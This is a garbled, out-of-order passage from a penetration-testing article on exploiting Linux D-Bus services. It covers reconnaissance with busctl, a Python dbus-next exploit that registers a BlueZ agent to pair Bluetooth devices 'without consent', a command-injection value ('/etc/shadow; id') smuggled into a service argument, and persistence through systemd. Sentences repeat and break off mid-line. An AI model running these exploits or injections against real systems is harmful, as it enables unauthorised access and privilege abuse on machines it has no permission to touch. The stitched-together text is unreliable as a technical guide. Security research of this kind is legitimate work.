Yet, for all its ubiquity, D-Bus is a blind spot for many penetration testers and red teams. We scan for open SMB ports, we hunt for SUID binaries, but we rarely ask: Can we talk to the system bus?
We will use the dbus-next library for modern asyncio support.
busctl --system tree org.bluez We find /org/bluez/hci0/dev_XX_XX_XX_XX_XX_XX – a connected device.
Because D-Bus serializes the string faithfully, the shell will execute the injection. Modern services should use execv or API calls, but legacy dbus-1.0 wrappers often used popen() . One of the most famous dbus-1.0 -adjacent exploits involved PolKit (pkexec). While not a D-Bus bug, the attack surface was D-Bus. An unprivileged user could send a carefully crafted D-Bus message to org.freedesktop.PolicyKit1 , causing a race condition where the privilege elevation was granted to a different process than the one requesting it. dbus-1.0 exploit
The vendor copied policy files from an old BlueZ version that trusted user="root" only, but they ran the Bluetooth daemon as root and forgot to add <deny user="*"/> for sensitive methods. The RegisterAgent method does not check if the caller has the CAP_NET_ADMIN capability. Part 5: Persistence and Lateral Movement Once you have D-Bus method execution on a privileged service, persistence becomes elegant. The Systemd Trap Systemd exposes org.freedesktop.systemd1.Manager on the system bus. A successful exploit chain can call:
# Craft a method call to a method that normally requires admin # but is mis-policy'd: "SetProperty" on the adapter to force discoverable msg = Message( destination='org.bluez', path='/org/bluez/hci0', interface='org.freedesktop.DBus.Properties', member='Set', signature='ssv', body=['org.bluez.Adapter1', 'Discoverable', Variant('b', True)] )
busctl introspect org.freedesktop.NetworkManager /org/freedesktop/NetworkManager More powerful is monitoring the bus in real-time: Yet, for all its ubiquity, D-Bus is a
# Introspect the Bluetooth adapter introspection = await bus.introspect('org.bluez', '/org/bluez/hci0')
A typical vulnerable rule looks like this (simplified):
If the service does: sprintf(command, "rsync -av %s %s:/backup/", source_path, dest_host) An attacker sends: source_path = "/etc/shadow; id" (type STRING ) and dest_host = "localhost" . busctl --system tree org
Introduction In the sprawling ecosystem of the Linux desktop and embedded systems, D-Bus is the circulatory system. It’s the inter-process communication (IPC) broker that allows your file manager to talk to your password manager, your media keys to control the player, and systemd to launch services on demand. Since its introduction with the dbus-1.0 protocol, it has become a universal constant on everything from GNOME to Automotive Grade Linux.
<policy user="nobody"> <allow own="com.vulnerable.Service"/> <allow send_destination="com.vulnerable.Service"/> </policy> If the policy is too permissive (e.g., allow user="*" ), any unprivileged local user can interact with a root-owned service. Before writing exploits, you need reconnaissance. The standard tool is busctl (from systemd) or the older gdbus . Silent Reconnaissance As an unprivileged user, you can list all services on the system bus without any authentication:
Consider a fictional backup service that exposes a method: Backup.TransferFile(String source_path, String dest_host)
if reply.message_type == MessageType.ERROR: print(f"Standard property set failed: {reply.body[0]}") # Fallback to a known legacy method legacy_msg = Message( destination='org.bluez', path='/org/bluez/hci0', interface='org.bluez.AgentManager1', member='RegisterAgent', signature='os', body=['/org/bluez/hci0/my_agent', 'NoInputNoOutput'] ) await bus.call(legacy_msg) print("Registered legacy agent, now able to pair without consent.") asyncio.run(bluetooth_exploit())
busctl list This returns a list of unique IDs (like :1.123 ) and well-known names (like org.freedesktop.NetworkManager ).